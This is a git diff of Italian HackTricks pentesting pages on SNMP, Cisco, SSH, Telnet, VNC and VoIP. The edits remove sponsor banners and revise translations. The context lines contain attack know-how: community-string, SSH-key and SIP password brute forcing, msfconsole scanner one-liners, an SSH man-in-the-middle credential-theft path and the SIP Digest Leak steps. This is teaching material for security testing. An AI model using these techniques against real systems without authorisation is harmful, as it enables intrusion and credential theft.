index e9b461c30..1cb63df5a 100644
--- a/src/network-services-pentesting/pentesting-snmp/README.md
+++ b/src/network-services-pentesting/pentesting-snmp/README.md
@@ -2,11 +2,6 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

-
-Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta fluente in polacco scritto e parlato_).
-
-{% embed url="https://www.stmcyber.com/careers" %}
 
 ## Informazioni di base
 
@@ -20,12 +15,12 @@ PORT    STATE SERVICE REASON                 VERSION
 
 ### MIB
 
-Per garantire che l'accesso SNMP funzioni tra diversi produttori e con diverse combinazioni client-server, è stato creato il **Management Information Base (MIB)**. MIB è un **formato indipendente per memorizzare informazioni sui dispositivi**. Un MIB è un file **testo** in cui tutti gli **oggetti SNMP** interrogabili di un dispositivo sono elencati in una gerarchia ad albero **standardizzata**. Contiene almeno un **`Object Identifier` (`OID`)**, che, oltre all'**indirizzo unico** necessario e a un **nome**, fornisce anche informazioni sul tipo, diritti di accesso e una descrizione dell'oggetto rispettivo.\
-I file MIB sono scritti nel formato di testo ASCII basato su `Abstract Syntax Notation One` (`ASN.1`). I **MIB non contengono dati**, ma spiegano **dove trovare quali informazioni** e come appaiono, quali valori restituiscono per il specifico OID, o quale tipo di dato viene utilizzato.
+Per garantire che l'accesso SNMP funzioni tra diversi produttori e con diverse combinazioni client-server, è stata creata la **Management Information Base (MIB)**. La MIB è un **formato indipendente per memorizzare informazioni sui dispositivi**. Un MIB è un file **testo** in cui tutti gli **oggetti SNMP** interrogabili di un dispositivo sono elencati in una gerarchia ad albero **standardizzata**. Contiene almeno un **`Object Identifier` (`OID`)**, che, oltre all'**indirizzo unico** necessario e a un **nome**, fornisce anche informazioni sul tipo, diritti di accesso e una descrizione dell'oggetto rispettivo.\
+I file MIB sono scritti nel formato di testo ASCII basato su `Abstract Syntax Notation One` (`ASN.1`). Le **MIB non contengono dati**, ma spiegano **dove trovare quali informazioni** e come appaiono, quali valori restituiscono per l'OID specifico o quale tipo di dato viene utilizzato.
 
 ### OIDs
 
-**Object Identifiers (OIDs)** svolgono un ruolo cruciale. Questi identificatori unici sono progettati per gestire oggetti all'interno di un **Management Information Base (MIB)**.
+**Object Identifiers (OIDs)** svolgono un ruolo cruciale. Questi identificatori unici sono progettati per gestire oggetti all'interno di una **Management Information Base (MIB)**.
 
 I livelli più alti degli ID oggetto MIB, o OIDs, sono assegnati a diverse organizzazioni di standardizzazione. È all'interno di questi livelli superiori che viene stabilito il quadro per le pratiche e gli standard di gestione globali.
 
@@ -78,16 +73,16 @@ Ci sono 2 versioni importanti di SNMP:
 
 ### Community Strings
 
-Come accennato in precedenza, **per accedere alle informazioni salvate nel MIB è necessario conoscere la community string nelle versioni 1 e 2/2c e le credenziali nella versione 3.**\
+Come accennato in precedenza, **per accedere alle informazioni salvate sulla MIB è necessario conoscere la community string nelle versioni 1 e 2/2c e le credenziali nella versione 3.**\
 Ci sono **2 tipi di community strings**:
 
 - **`public`** principalmente funzioni **solo lettura**
 - **`private`** **Lettura/Scrittura** in generale
 
-Nota che **la scrivibilità di un OID dipende dalla community string utilizzata**, quindi **anche** se scopri che viene utilizzato "**public**", potresti essere in grado di **scrivere alcuni valori.** Inoltre, potrebbero **esistere** oggetti che sono **sempre "Read Only".**\
+Nota che **la scrivibilità di un OID dipende dalla community string utilizzata**, quindi **anche** se scopri che viene utilizzato "**public**", potresti essere in grado di **scrivere alcuni valori.** Inoltre, potrebbero **esistere** oggetti che sono **sempre "Solo Lettura".**\
 Se provi a **scrivere** un oggetto, si riceve un errore **`noSuchName` o `readOnly`**.\*\*.\*\*
 
-Nelle versioni 1 e 2/2c, se utilizzi una **cattiva** community string, il server non **risponderà**. Quindi, se risponde, è stata utilizzata una **community string valida**.
+Nelle versioni 1 e 2/2c, se utilizzi una **community string** **errata**, il server non **risponderà**. Quindi, se risponde, è stata utilizzata una **community string valida**.
 
 ## Porte
 
@@ -103,7 +98,7 @@ Per **indovinare la community string** potresti eseguire un attacco a dizionario
 
 ## Enumerare SNMP
 
-È consigliato installare i seguenti strumenti per vedere cosa significa **ogni OID raccolto** dal dispositivo:
+Si raccomanda di installare quanto segue per vedere cosa significa **ogni OID raccolto** dal dispositivo:
 ```bash
 apt-get install snmp-mibs-downloader
 download-mibs
@@ -126,7 +121,7 @@ nmap --script "snmp* and not snmp-brute" 
 
 braa @:.1.3.6.* #Bruteforce specific OID
 ```
-Grazie alle query estese (download-mibs), è possibile enumerare ulteriormente il sistema con il seguente comando :
+Grazie alle query estese (download-mibs), è possibile enumerare ancora di più sul sistema con il seguente comando :
 ```bash
 snmpwalk -v X -c public  NET-SNMP-EXTEND-MIB::nsExtendOutputFull
 ```
@@ -179,7 +174,7 @@ snmp-rce.md
 
 ## **SNMP Massivo**
 
-[Braa ](https://github.com/mteg/braa) è uno scanner SNMP di massa. L'uso previsto di un tale strumento è, ovviamente, effettuare query SNMP – ma a differenza di snmpwalk di net-snmp, è in grado di interrogare dozzine o centinaia di host simultaneamente, e in un unico processo. Pertanto, consuma pochissime risorse di sistema e esegue la scansione MOLTO velocemente.
+[Braa](https://github.com/mteg/braa) è uno scanner SNMP di massa. L'uso previsto di un tale strumento è, ovviamente, effettuare query SNMP – ma a differenza di snmpwalk di net-snmp, è in grado di interrogare dozzine o centinaia di host simultaneamente, e in un unico processo. Pertanto, consuma pochissime risorse di sistema e esegue la scansione MOLTO rapidamente.
 
 Braa implementa il proprio stack SNMP, quindi non ha bisogno di librerie SNMP come net-snmp.
 
@@ -205,7 +200,7 @@ grep -i "trap" *.snmp
 ```
 ### **Nome utente/Password**
 
-I log memorizzati all'interno delle tabelle MIB vengono esaminati per **tentativi di accesso non riusciti**, che potrebbero accidentalmente includere password inserite come nomi utente. Parole chiave come _fail_, _failed_ o _login_ vengono cercate per trovare dati preziosi:
+I log memorizzati all'interno delle tabelle MIB vengono esaminati per **tentativi di accesso non riusciti**, che potrebbero includere accidentalmente password inserite come nomi utente. Parole chiave come _fail_, _failed_ o _login_ vengono cercate per trovare dati preziosi:
 ```bash
 grep -i "login\|fail" *.snmp
 ```
@@ -223,18 +218,12 @@ Puoi usare _**NetScanTools**_ per **modificare i valori**. Dovrai conoscere la *
 
 Se c'è un ACL che consente solo ad alcuni IP di interrogare il servizio SMNP, puoi spoofare uno di questi indirizzi all'interno del pacchetto UDP e sniffare il traffico.
 
-## Esaminare i file di configurazione SNMP
+## Esamina i file di configurazione SNMP
 
 - snmp.conf
 - snmpd.conf
 - snmp-config.xml
 
-

-
-Se sei interessato a una **carriera nel hacking** e a hackare l'impossibile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
-
-{% embed url="https://www.stmcyber.com/careers" %}
-
 ## Comandi automatici HackTricks
 ```
 Protocol_Name: SNMP    #Protocol Abbreviation if there is one.
diff --git a/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md b/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md
index 696e325db..331d11e1b 100644
--- a/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md
+++ b/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md
@@ -2,15 +2,9 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

+## Pentesting Cisco Networks
 
-Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta conoscenza fluente del polacco scritto e parlato_).
-
-{% embed url="https://www.stmcyber.com/careers" %}
-
-## Pentesting delle reti Cisco
-
-**SNMP** funziona su UDP con le porte 161/UDP per messaggi generali e 162/UDP per messaggi di trap. Questo protocollo si basa su stringhe di comunità, che fungono da password che abilitano la comunicazione tra agenti e server SNMP. Queste stringhe sono fondamentali poiché determinano i livelli di accesso, specificamente **permessi di sola lettura (RO) o lettura-scrittura (RW)**. Un vettore d'attacco notevole per i pentester è il **brute-forcing delle stringhe di comunità**, mirato a infiltrarsi nei dispositivi di rete.
+**SNMP** funziona su UDP con le porte 161/UDP per messaggi generali e 162/UDP per messaggi di trap. Questo protocollo si basa su stringhe di comunità, che fungono da password che abilitano la comunicazione tra agenti e server SNMP. Queste stringhe sono fondamentali poiché determinano i livelli di accesso, specificamente **permessi di sola lettura (RO) o lettura-scrittura (RW)**. Un vettore d'attacco notevole per i pentester è il **brute-forcing delle stringhe di comunità**, con l'obiettivo di infiltrarsi nei dispositivi di rete.
 
 Uno strumento pratico per eseguire tali attacchi di brute-force è [**onesixtyone**](https://github.com/trailofbits/onesixtyone), che richiede un elenco di potenziali stringhe di comunità e gli indirizzi IP degli obiettivi:
 ```bash
@@ -39,10 +33,5 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
 
 - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
 
-

-
-Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta conoscenza fluente del polacco scritto e parlato_).
-
-{% embed url="https://www.stmcyber.com/careers" %}
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md
index 6bfb29d81..60fb82ff2 100644
--- a/src/network-services-pentesting/pentesting-ssh.md
+++ b/src/network-services-pentesting/pentesting-ssh.md
@@ -2,13 +2,9 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-

 
-**Bug bounty tip**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**!
 
-{% embed url="https://go.intigriti.com/hacktricks" %}
-
-## Basic Information
+## Informazioni di base
 
 **SSH (Secure Shell o Secure Socket Shell)** è un protocollo di rete che consente una connessione sicura a un computer su una rete non sicura. È essenziale per mantenere la riservatezza e l'integrità dei dati quando si accede a sistemi remoti.
 
@@ -19,7 +15,7 @@
 **Server SSH:**
 
 - [openSSH](http://www.openssh.org) – OpenBSD SSH, fornito in BSD, distribuzioni Linux e Windows da Windows 10
-- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – implementazione SSH per ambienti con risorse di memoria e processore limitate, fornito in OpenWrt
+- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – implementazione SSH per ambienti con risorse di memoria e processore limitate, fornita in OpenWrt
 - [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – implementazione SSH per Windows, il client è comunemente usato ma l'uso del server è più raro
 - [CopSSH](https://www.itefix.net/copssh) – implementazione di OpenSSH per Windows
 
@@ -40,7 +36,7 @@ nc -vn  22
 
 ssh-audit è uno strumento per l'audit della configurazione del server e del client ssh.
 
-[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) è un fork aggiornato da [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
+[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) è un fork aggiornato di [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
 
 **Caratteristiche:**
 
@@ -51,7 +47,7 @@ ssh-audit è uno strumento per l'audit della configurazione del server e del cli
 - output delle informazioni sugli algoritmi (disponibile da, rimosso/disabilitato, non sicuro/debole/legacy, ecc);
 - output delle raccomandazioni sugli algoritmi (aggiungi o rimuovi in base alla versione del software riconosciuta);
 - output delle informazioni sulla sicurezza (problemi correlati, elenco CVE assegnati, ecc);
-- analizza la compatibilità delle versioni SSH basata sulle informazioni sugli algoritmi;
+- analizza la compatibilità della versione SSH basata sulle informazioni sugli algoritmi;
 - informazioni storiche da OpenSSH, Dropbear SSH e libssh;
 - funziona su Linux e Windows;
 - nessuna dipendenza
@@ -109,9 +105,9 @@ msf> use scanner/ssh/ssh_enumusers
 
 Alcune credenziali ssh comuni [qui](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) e [qui](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) e di seguito.
 
-### Attacco Brute Force alla Chiave Privata
+### Private Key Brute Force
 
-Se conosci alcune chiavi private ssh che potrebbero essere utilizzate... proviamoci. Puoi usare lo script nmap:
+Se conosci alcune chiavi private ssh che potrebbero essere utilizzate... proviamole. Puoi usare lo script nmap:
 ```
 https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
 ```
@@ -121,15 +117,15 @@ msf> use scanner/ssh/ssh_identify_pubkeys
 ```
 Oppure usa `ssh-keybrute.py` (python3 nativo, leggero e con algoritmi legacy abilitati): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
 
-#### Le badkeys conosciute possono essere trovate qui:
+#### Le chiavi cattive conosciute possono essere trovate qui:
 
 {% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %}
 
 #### Chiavi SSH deboli / PRNG prevedibile di Debian
 
-Alcuni sistemi presentano difetti noti nel seme casuale utilizzato per generare materiale crittografico. Questo può comportare una riduzione drammatica dello spazio delle chiavi che può essere bruteforcato. Set di chiavi pre-generate generate su sistemi Debian colpiti da PRNG deboli sono disponibili qui: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
+Alcuni sistemi presentano difetti noti nel seme casuale utilizzato per generare materiale crittografico. Questo può comportare una riduzione drammatica dello spazio delle chiavi che può essere forzato. Set di chiavi pre-generate generate su sistemi Debian colpiti da PRNG deboli sono disponibili qui: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
 
-Dovresti cercare qui per trovare chiavi valide per la macchina vittima.
+Dovresti guardare qui per cercare chiavi valide per la macchina vittima.
 
 ### Kerberos
 
@@ -159,11 +155,11 @@ Per ulteriori informazioni esegui `crackmapexec ssh --help`.
 
 Se sei nella rete locale come la vittima che si connetterà al server SSH utilizzando nome utente e password, potresti provare a **eseguire un attacco MitM per rubare quelle credenziali:**
 
-**Percorso dell'attacco:**
+**Percorso di attacco:**
 
 - **Reindirizzamento del traffico:** L'attaccante **dirotta** il traffico della vittima verso la propria macchina, intercettando effettivamente il tentativo di connessione al server SSH.
 - **Intercettazione e registrazione:** La macchina dell'attaccante funge da **proxy**, **catturando** i dettagli di accesso dell'utente fingendo di essere il legittimo server SSH.
-- **Esecuzione dei comandi e inoltro:** Infine, il server dell'attaccante **registra le credenziali dell'utente**, **inoltra i comandi** al vero server SSH, **li esegue** e **invia i risultati** all'utente, facendo sembrare il processo fluido e legittimo.
+- **Esecuzione di comandi e inoltro:** Infine, il server dell'attaccante **registra le credenziali dell'utente**, **inoltra i comandi** al vero server SSH, **li esegue** e **invia i risultati** all'utente, facendo sembrare il processo fluido e legittimo.
 
 [**SSH MITM**](https://github.com/jtesta/ssh-mitm) fa esattamente ciò che è descritto sopra.
 
@@ -192,7 +188,7 @@ SSH-Snake esegue automaticamente e ricorsivamente le seguenti operazioni:
 
 1. **Modifica il file di configurazione SSH** con: `sudoedit /etc/ssh/sshd_config`
 2. **Cambia l'impostazione** da `#PermitRootLogin yes` a **`PermitRootLogin no`**.
-3. **Ricarica la configurazione** usando: `sudo systemctl daemon-reload`
+3. **Ricarica la configurazione** utilizzando: `sudo systemctl daemon-reload`
 4. **Riavvia il server SSH** per applicare le modifiche: `sudo systemctl restart sshd`
 
 ### Forza bruta SFTP
@@ -246,7 +242,7 @@ sudo ssh -L :: -N -f @

-
-**Suggerimento per il bug bounty**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounty fino a **$100,000**!
-
-{% embed url="https://go.intigriti.com/hacktricks" %}
-
 ## HackTricks Comandi Automatici
 ```
 Protocol_Name: SSH
diff --git a/src/network-services-pentesting/pentesting-telnet.md b/src/network-services-pentesting/pentesting-telnet.md
index 5e63c782c..3dc8560cd 100644
--- a/src/network-services-pentesting/pentesting-telnet.md
+++ b/src/network-services-pentesting/pentesting-telnet.md
@@ -2,13 +2,6 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche e sfruttabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
 
 ## **Informazioni di base**
 
@@ -74,12 +67,4 @@ Note: sourced from https://github.com/carlospolop/legion
 Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
 
 ```
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed exploitabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
-
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-vnc.md b/src/network-services-pentesting/pentesting-vnc.md
index 85b3029c4..9edb9a33b 100644
--- a/src/network-services-pentesting/pentesting-vnc.md
+++ b/src/network-services-pentesting/pentesting-vnc.md
@@ -2,15 +2,10 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-

 
-Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
+## Informazioni di Base
 
-{% embed url="https://www.stmcyber.com/careers" %}
-
-## Informazioni di base
-
-**Virtual Network Computing (VNC)** è un robusto sistema di condivisione desktop grafico che utilizza il protocollo **Remote Frame Buffer (RFB)** per abilitare il controllo remoto e la collaborazione con un altro computer. Con VNC, gli utenti possono interagire senza problemi con un computer remoto trasmettendo eventi di tastiera e mouse in entrambe le direzioni. Questo consente l'accesso in tempo reale e facilita un'assistenza o collaborazione remota efficiente su una rete.
+**Virtual Network Computing (VNC)** è un robusto sistema di condivisione desktop grafico che utilizza il protocollo **Remote Frame Buffer (RFB)** per abilitare il controllo remoto e la collaborazione con un altro computer. Con VNC, gli utenti possono interagire senza soluzione di continuità con un computer remoto trasmettendo eventi di tastiera e mouse in entrambe le direzioni. Questo consente l'accesso in tempo reale e facilita un'assistenza o collaborazione remota efficiente su una rete.
 
 VNC di solito utilizza le porte **5800 o 5801 o 5900 o 5901.**
 ```
@@ -22,7 +17,7 @@ PORT    STATE SERVICE
 nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p  
 msf> use auxiliary/scanner/vnc/vnc_none_auth
 ```
-### [**Brute force**](../generic-hacking/brute-force.md#vnc)
+### [**Forza bruta**](../generic-hacking/brute-force.md#vnc)
 
 ## Connettersi a vnc utilizzando Kali
 ```bash
@@ -37,7 +32,7 @@ Se hai la password VNC e sembra crittografata (alcuni byte, come se potesse esse
 make
 vncpwd 
 ```
-Puoi fare questo perché la password utilizzata all'interno di 3des per crittografare le password VNC in chiaro è stata invertita anni fa.\
+Puoi farlo perché la password utilizzata all'interno di 3des per crittografare le password VNC in chiaro è stata invertita anni fa.\
 Per **Windows** puoi anche usare questo strumento: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
 Salvo anche lo strumento qui per facilità di accesso:
 
@@ -47,10 +42,5 @@ Salvo anche lo strumento qui per facilità di accesso:
 
 - `port:5900 RFB`
 
-

-
-Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta fluente in polacco scritto e parlato_).
-
-{% embed url="https://www.stmcyber.com/careers" %}
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-voip/README.md b/src/network-services-pentesting/pentesting-voip/README.md
index bcf627bed..a2d1689c1 100644
--- a/src/network-services-pentesting/pentesting-voip/README.md
+++ b/src/network-services-pentesting/pentesting-voip/README.md
@@ -2,13 +2,6 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed exploitabili con un reale impatto sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
 
 ## Informazioni di base su VoIP
 
@@ -194,7 +187,7 @@ Qualsiasi altra enumerazione OSINT che aiuti a identificare il software VoIP in
 sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
 ```
 - **`svmap`** da SIPVicious (`sudo apt install sipvicious`): Localizzerà i servizi SIP nella rete indicata.
-- `svmap` è **facile da bloccare** perché utilizza l'User-Agent `friendly-scanner`, ma puoi modificare il codice da `/usr/share/sipvicious/sipvicious` e cambiarlo.
+- `svmap` è **facile da bloccare** perché utilizza l'User-Agent `friendly-scanner`, ma puoi modificare il codice in `/usr/share/sipvicious/sipvicious` e cambiarlo.
 ```bash
 # Use --fp to fingerprint the services
 svmap 10.10.0.0/24 -p 5060-5070 [--fp]
@@ -248,7 +241,7 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws
 
 Le estensioni in un sistema PBX (Private Branch Exchange) si riferiscono agli **identificatori interni unici assegnati a singole** linee telefoniche, dispositivi o utenti all'interno di un'organizzazione o azienda. Le estensioni rendono possibile **instradare le chiamate all'interno dell'organizzazione in modo efficiente**, senza la necessità di numeri di telefono esterni individuali per ogni utente o dispositivo.
 
-- **`svwar`** da SIPVicious (`sudo apt install sipvicious`): `svwar` è uno scanner di linee di estensione SIP PBX gratuito. In concetto funziona in modo simile ai tradizionali wardialer **indovinando un intervallo di estensioni o un dato elenco di estensioni**.
+- **`svwar`** da SIPVicious (`sudo apt install sipvicious`): `svwar` è uno scanner di linee di estensione SIP PBX gratuito. In concetto funziona in modo simile ai tradizionali wardialer **indovinando un intervallo di estensioni o un elenco dato di estensioni**.
 ```bash
 svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
 ```
@@ -270,14 +263,14 @@ enumiax -v -m3 -M3 10.10.0.10
 
 ### Password Brute-Force - online
 
-Avendo scoperto il **PBX** e alcuni **interni/nomi utente**, un Red Team potrebbe provare ad **autenticarsi tramite il metodo `REGISTER`** su un interno utilizzando un dizionario di password comuni per forzare l'autenticazione.
+Avendo scoperto il **PBX** e alcuni **estensioni/nomi utente**, un Red Team potrebbe provare ad **autenticarsi tramite il metodo `REGISTER`** a un'estensione utilizzando un dizionario di password comuni per forzare l'autenticazione.
 
 > [!CAUTION]
-> Nota che un **nome utente** può essere lo stesso dell'interno, ma questa pratica può variare a seconda del sistema PBX, della sua configurazione e delle preferenze dell'organizzazione...
+> Nota che un **nome utente** può essere lo stesso dell'estensione, ma questa pratica può variare a seconda del sistema PBX, della sua configurazione e delle preferenze dell'organizzazione...
 >
-> Se il nome utente non è lo stesso dell'interno, dovrai **scoprire il nome utente da forzare**.
+> Se il nome utente non è lo stesso dell'estensione, dovrai **scoprire il nome utente da forzare**.
 
-- **`svcrack`** da SIPVicious (`sudo apt install sipvicious`): SVCrack ti consente di decifrare la password per un nome utente/interno specifico su un PBX.
+- **`svcrack`** da SIPVicious (`sudo apt install sipvicious`): SVCrack ti consente di decifrare la password per un nome utente/estensione specifico su un PBX.
 ```bash
 svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
 svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
@@ -325,8 +318,8 @@ sippts tshark -f capture.pcap [-filter auth]
 ```
 #### Codici DTMF
 
-**Non solo le credenziali SIP** possono essere trovate nel traffico di rete, è anche possibile trovare codici DTMF che vengono utilizzati, ad esempio, per accedere alla **voicemail**.\
-È possibile inviare questi codici nei **messaggi INFO SIP**, in **audio** o all'interno dei **pacchetti RTP**. Se i codici sono all'interno dei pacchetti RTP, puoi tagliare quella parte della conversazione e utilizzare lo strumento multimo per estrarli:
+**Non solo le credenziali SIP** possono essere trovate nel traffico di rete, è anche possibile trovare codici DTMF che vengono utilizzati ad esempio per accedere alla **voicemail**.\
+È possibile inviare questi codici nei **messaggi SIP INFO**, in **audio** o all'interno dei **pacchetti RTP**. Se i codici sono all'interno dei pacchetti RTP, puoi tagliare quella parte della conversazione e utilizzare lo strumento multimo per estrarli:
 ```bash
 multimon -a DTMF -t wac pin.wav
 ```
@@ -352,7 +345,7 @@ Per definire gli utenti, possono essere definiti come:
 - **`insecure=port,invite`**: Entrambi.
 
 > [!WARNING]
-> Quando viene utilizzato **`type=friend`**, il **valore** della variabile **host** **non verrà utilizzato**, quindi se un admin **misconfigura un SIP-trunk** utilizzando quel valore, **chiunque potrà connettersi ad esso**.
+> Quando viene utilizzato **`type=friend`**, il **valore** della variabile **host** **non verrà utilizzato**, quindi se un admin **misconfigura un SIP-trunk** utilizzando quel valore, **chiunque sarà in grado di connettersi ad esso**.
 >
 > Ad esempio, questa configurazione sarebbe vulnerabile:\
 > `host=10.10.10.10`\
@@ -393,7 +386,7 @@ include => external
 > [!CAUTION]
 > Inoltre, per impostazione predefinita, il file **`sip.conf`** contiene **`allowguest=true`**, quindi **qualsiasi** attaccante senza **autenticazione** sarà in grado di chiamare qualsiasi altro numero.
 
-- **`SIPPTS invite`** da [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite verifica se un **server PBX ci consente di effettuare chiamate senza autenticazione**. Se il server SIP ha una configurazione errata, ci permetterà di effettuare chiamate a numeri esterni. Può anche permetterci di trasferire la chiamata a un secondo numero esterno.
+- **`SIPPTS invite`** da [**sippts**](https://github.com/Pepelux/sippts)**:** L'invito SIPPTS verifica se un **server PBX ci consente di effettuare chiamate senza autenticazione**. Se il server SIP ha una configurazione errata, ci permetterà di effettuare chiamate a numeri esterni. Può anche permetterci di trasferire la chiamata a un secondo numero esterno.
 
 Ad esempio, se il tuo server Asterisk ha una cattiva configurazione del contesto, puoi accettare richieste INVITE senza autorizzazione. In questo caso, un attaccante può effettuare chiamate senza conoscere alcun utente/password.
 ```bash
@@ -412,10 +405,10 @@ IVRS nei sistemi VoIP consiste tipicamente in:
 1. **Messaggi vocali**: Messaggi audio preregistrati che guidano gli utenti attraverso le opzioni e le istruzioni del menu IVR.
 2. **DTMF** (Dual-Tone Multi-Frequency) signaling: Input a toni generati premendo i tasti del telefono, utilizzati per navigare nei menu IVR e fornire input.
 3. **Instradamento delle chiamate**: Direzionare le chiamate alla destinazione appropriata, come dipartimenti specifici, agenti o interni in base all'input dell'utente.
-4. **Cattura dell'input dell'utente**: Raccogliere informazioni dai chiamanti, come numeri di conto, ID caso o qualsiasi altro dato rilevante.
+4. **Cattura dell'input dell'utente**: Raccolta di informazioni dai chiamanti, come numeri di conto, ID caso o qualsiasi altro dato rilevante.
 5. **Integrazione con sistemi esterni**: Collegare il sistema IVR a database o altri sistemi software per accedere o aggiornare informazioni, eseguire azioni o attivare eventi.
 
-In un sistema VoIP Asterisk, puoi creare un IVR utilizzando il piano di composizione (**`extensions.conf`** file) e varie applicazioni come `Background()`, `Playback()`, `Read()`, e altro. Queste applicazioni ti aiutano a riprodurre messaggi vocali, catturare input degli utenti e controllare il flusso delle chiamate.
+In un sistema VoIP Asterisk, puoi creare un IVR utilizzando il piano di chiamata (**`extensions.conf`** file) e varie applicazioni come `Background()`, `Playback()`, `Read()`, e altro. Queste applicazioni ti aiutano a riprodurre messaggi vocali, catturare input degli utenti e controllare il flusso delle chiamate.
 
 #### Esempio di configurazione vulnerabile
 ```scss
@@ -456,9 +449,9 @@ La vulnerabilità SIP Digest Leak è una vulnerabilità che colpisce un gran num
 4. Quando il telefono viene riattaccato, il **telefono della vittima invia un BYE all'attaccante**
 5. L'**attaccante emette una risposta 407** che **richiede autenticazione** e emette una sfida di autenticazione
 6. Il **telefono della vittima fornisce una risposta alla sfida di autenticazione** in un secondo BYE
-7. L'**attaccante può quindi emettere un attacco di forza bruta** sulla risposta alla sfida sul suo computer locale (o rete distribuita, ecc.) e indovinare la password
+7. L'**attaccante può quindi eseguire un attacco di forza bruta** sulla risposta alla sfida sulla sua macchina locale (o rete distribuita ecc.) e indovinare la password
 
-- **SIPPTS leak** da [**sippts**](https://github.com/Pepelux/sippts)**:** Il leak SIPPTS sfrutta la vulnerabilità SIP Digest Leak che colpisce un gran numero di telefoni SIP. L'output può essere salvato in formato SipCrack per essere forzato utilizzando SIPPTS dcrack o lo strumento SipCrack.
